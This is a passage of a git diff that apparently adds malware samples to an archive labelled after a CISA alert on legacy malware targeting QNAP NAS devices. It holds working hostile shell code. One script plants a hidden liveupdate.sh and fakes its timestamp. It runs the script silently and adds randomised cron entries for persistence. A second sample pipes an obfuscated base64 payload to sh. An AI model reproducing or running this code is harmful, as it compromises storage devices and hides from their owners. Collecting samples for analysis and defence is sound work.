qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.liveupdate/liveupdate.sh" || chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 new file mode 100644 index 0000000..d90a97c --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/fa3c2f8e3309ee67e7684abc6602eea0d1d18d5d799a266209ce594947269346 @@ -0,0 +1,572 @@ +#!/bin/sh +(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh& +KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgfHwgdGVzdCAtaCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZSIgJiYgcm0gLWYgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUiIHx8IG1rZGlyICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlIgpjYXQgPiAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiA8PCJYRU9GIgojIS9iaW4vc2gKClVzWXZ3T1hnPSR7RnZ5ZlBGYkF0UndOfXRyJHtzS1RocmJUfSR7dFdVeG1ZY30KaldDcnlnUT0ke1JkQ2VqbFJ9JEdlcmNKbktSVCQiIidcJyR7Zm16d0drU30kR0JUTlRlSHp1JCIiO2NxS01paXY9JHNiRlRVUkF5YyQiIiR7aFRNUnhsZlpCc2hBfSR7Qm5pQ1lndX0ke2pXQ3J5Z1F9JHtJeGtuRE5neGhQd0h9MSR7S0hBbk1MSH0zMyR7S21iWkp3SH07T21lb3Zhcz0kcFFiYU5HQkpCJCIiJHt6QXNreGtBdnl3SFl9JHtLcHhqVlNMfSR7aldDcnlnUX0ke2xHTkNacFpmUFVFU30wJHtaZ3BrUmRnfTU1JHtnQ3F2cVJHfTtXRXhQdUd6PSRWWWNhWGRoSk8kIiIke2liVXhJcUZOZ0V0ZX0ke05NaUdCSVp9JHtqV0NyeWdRfSR7c2NBTXhCS0ZmbGtyfTEke25IaHBQR2x9MzQke2lWd2hYZU99OyRVc1l2d09YZyAndHpVSXxyZEhqd0ZUUCk+USckT21lb3ZhcydLXG5iK2skPGM7V10gZ3Z4cURPeWFtJUVBbiEnIiciJ0pMYCNvcyckY3FLTWlpdid7IickV0V4UHVHeid9JlI9VllwWGYoWkJsQ01TaEdldU5pKicgJ3NhU0ZSTCYoe3hUJWdNIGwnJE9tZW92YXMnblo9WVFOSickV0V4UHVHeidlejxpSEcnIiciJ31oWEQpSVd0Y21mQnlcbkskRXEiaiF2a0FVTztdcD5kKlZyJyRjcUtNaWl2J29Dd2J1K2B8I1AnIDw8ICJrTmFEakFibUZxcmZ0IiB8IHNoJGVPV3V1WWxVZyQiIiR7dkVjeVJXWVJtQmFlfQp2KXlDYHJJIGIvRENuOy9ERSNqJXJPUjwleURgTyBxI2pwZmgnWm9CK21mUHtnJDtxRXBmI2poSXBwJnEvI2opfSFtQUtRUXNKKSoKfSlxQVAgI2p6e0Z0cS1oIEsvI2pVKm5TcXMgZi9wQiAjamhwa1pNU3FcfDsjaiV2Z1UlcXMjanZPRGhHdD10PFErJElxRyNqJ3dtWitDTUdXT3NXbnE7dEUuI2pLemYkZn1aeXdCfW1xQVAgTEUjakU8a3IlciZvR29EZnFCI2opRz1Gbj1oVXtgZldxPnhIbnkhYXM8fVJjMTMzWlltJD5cSlYndEEiS2BDWHYKd01oTkZXa0VjS3I9UGJjMDU1K2RqVHBdI1F8KWdveFt4W3hCR3p7aWMxMzREZSB1STtxJk9TJVsoZlUqeD54b1p3ZE1BPGdZVUtTaSZ7JXpza0R8ciNRK1QgfUhmcGFtInVGQ0VSQm5Odl1WCiFcYjspYE9qUHRjMDU1W3llYzEzM1hjMTM0Jz1jSyooPkpHaHhbeFt4SXFXJHhdXVsrUSs9PVtYI3YpeUNgckkgTG1XLyV2Wi9CdEl4UVpQQnJQJndOJklvJkkmJiYmYExzSmAmQiNqSSYmJiZgTHNKYCZidlojS28xOkc0ZmpJJiYmJmBMc0pgJmJKeSNLbzI6RzEyZmpJJiYmJmBMc0pgJgpCaEpzUSN6S28zOkdKR1UkR1RmekkmJiYmclAmR01zJnpLCkJoSnNReiZkJi9NUV0vU1BKWk1MYiYtJm8mSSYmJiYmJiYmUFFKTSZHUFomS3d3S0EkKnt1fCZYJncmS2JKeSZHJktidlomaSYxJk4maSZLYnZaJk5OJkJqSSYmJiYmJiYmUXN0TCZ6S0J6SSYmJiZmSWZJc0xiYkpaTSZHXSZiCnJRYmgmRCYvTVFdL1pTYGAmMkQhMSYtLSZiCnJRYmgmd04mbyZJYExzSmAmQlNwcHZ5I2t4UVpQQnJQJjYmNmtJclFCciZ6SzJ6JiEhJm8mYgpNdlAmektvMlhnZ2dnZ2dmS0JTcHB2eXpqJlFzdEwmektvMlhnZ2dnZ2dmS0JTcHB2eXpqJmYmLS0mbyZyTFNzdCZ6S28xWGdnZ2dnZ2ZLQlNwcHZ5emomUXN0TCZ6S28xWFhnZ2dnZ2dmS0JTcHB2eXpqJmZJZklReVFzJjJEL01RXS9aU2BgSTskRX0jektvOyRFfWY6LyV2WjovQiV2WjovU0JQLyV2WjovU0JQL0Ildlo6L1NCUC8ldlovZzExOi9TQlAvYExzSmAvQiV2WjovU0JQL2BMc0pgLyV2WnpJclFCciZXJkdVJnpLbyc9SEFDX2xFQUYqK2Z6Ji0tJm8maFB2WnJwJnp7SnJROiZ6aiZFVCMrfEUmTUpyUWomUXl2ciYwaiZmSVFzdEwmentKclE6JkVTUSY8SlomMjQmMDg6NTQ6MjUmK3xFJjIwMTd6SXNQI2toUHZacnAmW2VQWyYtLSZRc3RMJkdaUSZbZVBba0lyUUJyJnpLb21zUGZ6JkdRViYxJiEhJlFzdEwmektzUHomLS0mUXN0TCZ6eklyUUJyJnp5S31FRTtfQUgoSEFIQXomIyZ6eTIlMCUwOXNzTTUwMnM3NTU5NTAxNzU1TTUyUU1KNjc4ODklNjk0Nzd6Ji0tJlF5dnImMElyUUJyJlcmR1UmektvMGZ6JiEhJnJRQnIma2hCJkpTeSYtJnhQUWgmektvMGZ6Ji0mWXMmR2BrJkd4ciY0MCYhISZReXZyJjBJc0xiYkpaTSZHXSZMaFFaQkJgJkQvTVFdL1pTYGAmMkQhMSYhISZvSTt1bEV7JEUkI1tbSQojeitRQidDQzd8JG4rVDtTJU1CVDhsJVRUbE1VXT1TViJieklyUUJyJnp5S29BSCc9SGxFX3xIRX11e2Z6JiMmeTt1bEUmISEmclFCciZXJkdVJnpLbyc9SEFDX2xFQUYqK2Z6JiEhJnNKQlEmektvJz1IQUNfbEVBRiorZnomdlomW1smLSZxY1cwRzlScSYtJjBxJk4mcEpgQlEmamomYzBHOVJjMEc5UmMwRzlSYzBHOVJjMEc5UmMwRzlSYzBHOVJjMEc5UiZOJk0jekt3dyZrTUpyUSZpWEJrJi8mMTAwJk5OemomclFCciZ6S28nPUhBQ19sRUFGKitmeiYjJnpLb01meiYhISZzciN6S016Ji0tJm8mclFCciZ6S28nPUhBQ19sRUFGKitmeiYjJnpLd3cmS00mRyYxTk56JiEhJnNyI3pLd3cmS00mRyYxJk5OemomZiZqaiZxTiZwSmBCUSZqaiZRQkpzJiEhJnJRQnImVyZHVSZ6S28nPUhBQ19sRUFGKitmeiYhISZvSVpgI1tJW0lzSkJRJnpLb2F1KkVIKkVfIkgqK0V9ZnomdlomW1smLSZxY1cwRzlScSYtJjBxJk4mcEpgQlEmamomcU4mclFCciZ6S29hdSpFSCpFXyJIKitFfWZ6JkdgciYyMTQ3NDgzNjQ2JmpqJlFCSnMmISEmbyZGKGwjJlBRSk0mR00mW1smR1BaJnpLb2F1KkVIKkVfIkgqK0V9ZnomO3VsRXskRSRqJnJRQnImR1Umeks7dWxFeyRFJHomISEmO3VsRXskRSQja01NJiVCIzEmc0xTWnIjekthdSpFSCpFXyJIKitFfXomMkQvTVFdL1pTYGBraiZmJi0tJnJRQnImeks7dWxFeyRFJHomLS0mO3VsRXskRSQja3NKcmsmLS0mUXl2ciYwSUIjektvO3VsRXskRSRtbXEuZnpJQnIjektvQm1tcUdmeklCI3pLb0JYWEdxZnpJTSN6S3d3JktNJi8mMTAwMCZOTnpJclFCciZXJkdVJnpLTXomISEmclFCciZXJkdVJnpLQnJ6JiEhJnJRQnImektvbUJyZnomIyY1JiEhJm8mclFCciZ6eUtCcnomIyZ6eUtNeiYtLSZyUUJyJnp5S0JyeiYjJnp5S3d3JktNJkcmMSZOTnpqJmYmLS0mbyZyUUJyJkdwJnpLcnomISEmUGImektyemomUXl2ciYwaiZmSXNKQlEmektCeiZ2WiZbWyYtJnFjV0pHVSRHVDBHOS9pI0taYFJxJk4mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomamomUUJKc0lyI2tiCnJRYmgmL3JiaC8ucmJoLmdnZ2dnZ2smLS0mUXl2ciYwSXNKciZEJnpLcnomZGR6SHUoeiYtLSZvJnJRQnImR3AmektyeiYhISZQYiZ6S3J6aiZReXZyJjBqJmZJR0dHR0cgSCtGKiY7PSAiRmEmKUhDR0dHR0dJfEZGIEw+JCogeApWdAp2KzlZMCAkJ0goJCR1YSRDOCR8RkYgdngpYSRDSCRPditpfS8xcHMifHBFKj1dXSBRQkl1PFYwNnB1K2IgKClGPXVhO0JPK2gkU1V7UGEpYFogU31MIjR0bEhyWlN5RSAqcjg+JCBVTVRpaDlWPSUkVDN1SVVKO2I8Rk1CMXh9fWAxKShpJzh9NSUqTSpCOXxhQQpIXWE9eDwrKFEzJEpgIjcKaT4vQWcgQlxQQiJhKU0rKVxJSn1pTXJhMCpNIilNClV0KThWIFZVfXlhaXw9K1VRUTUvL3V4eylNcylRUWBKYXhVPTxKMFN2MTEgVDNGPiloJ0lgN31MCm59Yk9VQVA8KztzU3M0CmB9OSUpNGxRJHtRdEFPPk9gdl19J3NWbCkxQipCWUpoPGIyVns+Tyc3dD5BSUEyQkp1VVMlRT1ZMWkyJylgaXxPNWxwT0wvIDgqTGgqQzZIJHUiOENhO259YUpoVjJKcDJUT3J0Sm4yMm5ocENJVXJVPkhPNXUKKCp0NnBBeFQqaCVCU3xTNFo7SiAvUHhdPGJCXHk5M0paQnQ0RlFndjtPdVMpbiBKYj1UT0ZdIkl5UDJIbGEyUHR4XHRWeDxTdiJgfStpfXwpNjM7TE0gfChPKVY5UCJNNHQ5OVpnJTlpdmFiKCc5cFU8KUI5bGx8ST43eUpNK2hKJSkySipFaCozVXskU0grRjRUdXJWeSJWXD5IfWIwJUhpVDUoJHh8ICQkSCNJR0dHR0dIKnsmOz0gIkZhJilIQ0dHR0dHSUh1KElyUUJyJlcmR1UmektCeiYhISZ0I2tMaFFaQkJgJiVKQlE2NCZHTSZkZEh1KCYtJkxoUVpCQmAmUEJKU3JgJkdoUyV2WiZHdloKUU8mektyeiZHXVFQdnBPSUtCSUh1KElrJi0tJm8mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomZklyUUJyJkdwJnpLcnomISEmUGImektyekliI3pLbzt1bEV7JEUkWFgucWZ6STt1bEV7JEUkI1tbSXNKQlEmektieiZ2WiZbWyYtJnFjV0pHVSRHVDBHOS9pI0taYFJxJk4mUXl2ciYwJmpqJlFCSnNJCiNrTGhRWkJCYCZNeEJyJkdCdEoxJkcldlpKUE8mR3RiSnMmektzcnomZGRIdSgmLSZMaFFaQkJgJiVKQlE2NElLCklIdShJa0liI2tMaFFaQkJgJlFacyZHTSZHSlFCRzI1NkdzJXMmRwomeksKeiZHYk0mQnRKMSZHQkpgciZHSiZkZEh1KElLYklIdShJa0lidCNrTGhRWkJCYCZNeEJyJkdCdEoxJkcldlpKUE8mR3RiSnMmektCcnomZGRIdSgmLSZMaFFaQkJgJiVKQlE2NElLYklIdShJa0lyUUJyJlcmR1Umekt0eiYhISZyUUJyJnpLdHomIyZ6S2J0eiYtLSZReXZyJjBJUV1KYCZ6S2J6SXJQU1FJZiYtLSZvSXIja2IKclFiaCYvcmJoLy5yYmguZ2dnZ2dnayYtLSZReXZyJjBJc0pyJkQmektyeiZkZHpIdSh6Ji0tJm8mclFCciZHcCZ6S3J6JiEhJlBiJnpLcnpqJlF5dnImMGomZklHR0dHRyBIK0YqJjs9ICJGYSYpSENHR0dHR0l8RkYgTD4kKiB4ClZ0CnYrOVkwICQnSCgkJHVhJEM4JHxGRiB2eClhJENIJDknYn18WTQ+WThhdSJDKXh1VnBhSTArVEJBbFkoeHZ5RTBgdnxzNDJUbFBCQlBCKCtUYHs7KTM1VWBNYiU9QkgnZ3IoQwp7Pm5RPXMKaDJKdDgoc3BJJCAoPSs4fCJaYDZZRV15K1RZPDwlfCI7e3ZDTDVgL00wNyApcyVZQ1NWKmhpMi8vMk1TCnlhT0oKdUZGWkZWKEkieFB8NVpdaDUgKSAgc3N8YHwgSkIocnlUcCh4cio+YCc5djliKnB2NTNaSmBQfDtBTGA5KXZwXDFDeWIiWTFpSTcrRVM+KGxgTyk5JGhddi9URjJPL11PYjYqXCVcSEJKSDUgOXh4ZzxDUG55YCUpeXxGVVxTZ3AxOGwyaDQ4KHRJaG49T0M8MGI+ez1zM2x2PEE0QXY7dgo7aEUneApsPk85MEp8KVBMXGEkTTl8NnNUcnBZYVV0fCVdT3IqYk1yTUlDeSAqKlowKGInNTFzIjtzaU1oSkZGeTJ2LzJzK019QzhUJD4ge3wgfCAKPkZRMngoeHM2YDwwXHVgRTYzOFVpSVk3L2I7aXRzYUwibj12K2x2SFNiVTM9IjU7YkxuSjNZMnIwNEFKNzA7IlwkaCtCRi94aH1PfTBcOHY2T24gfUhJVj1CSid5WiB1KF1PaXZsTGJPKHZgMk15KSciPkVZT1QgWjhpMSliTFo8MmgkeHwgJCRII0lHR0dHR0gqeyY7PSAiRmEmKUhDR0dHR0dJSHUoSUxoUVpCQmAmUEJKU3JgJkdoUyV2WiZHdloKUU8mektyeiZHUVpzUE9ociZkZEh1KCYtJkxoUVpCQmAmJUpCUTY0SUsKSUh1KElQYiZ6S3J6SXJQU1EmSWZqJnJQU1FqJmYmLS0mb0lyUUJyJnp5SyRhYUg7RV8iJCorPSQrSHomIyZ6eTUxOTUlczE4NzA3MDAySjk4czklNTE4M0o1TTAzMHBNMDcxJTZKMiV6JiEhJlFdSmAmektvfUVFO189bEhBXyQrSCpFZnpJZklyUUJyJkdwJnpLcnomISEmUGImektyeklCYFFRaCYxSVF5dnImMElMK1ErPT1MQSNqd01aZiV2JFB9RUVGcUQjaiRna1xRd3dwaERoRHFuQ2Y+I2pcYENcRlxTekZuUiVxNzU1I2ohaGhtSm52UCUreSZxPlsjdil5Q2BySSBbTDt3IEU+MExMaQprTmFEakFibUZxcmZ0ClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BB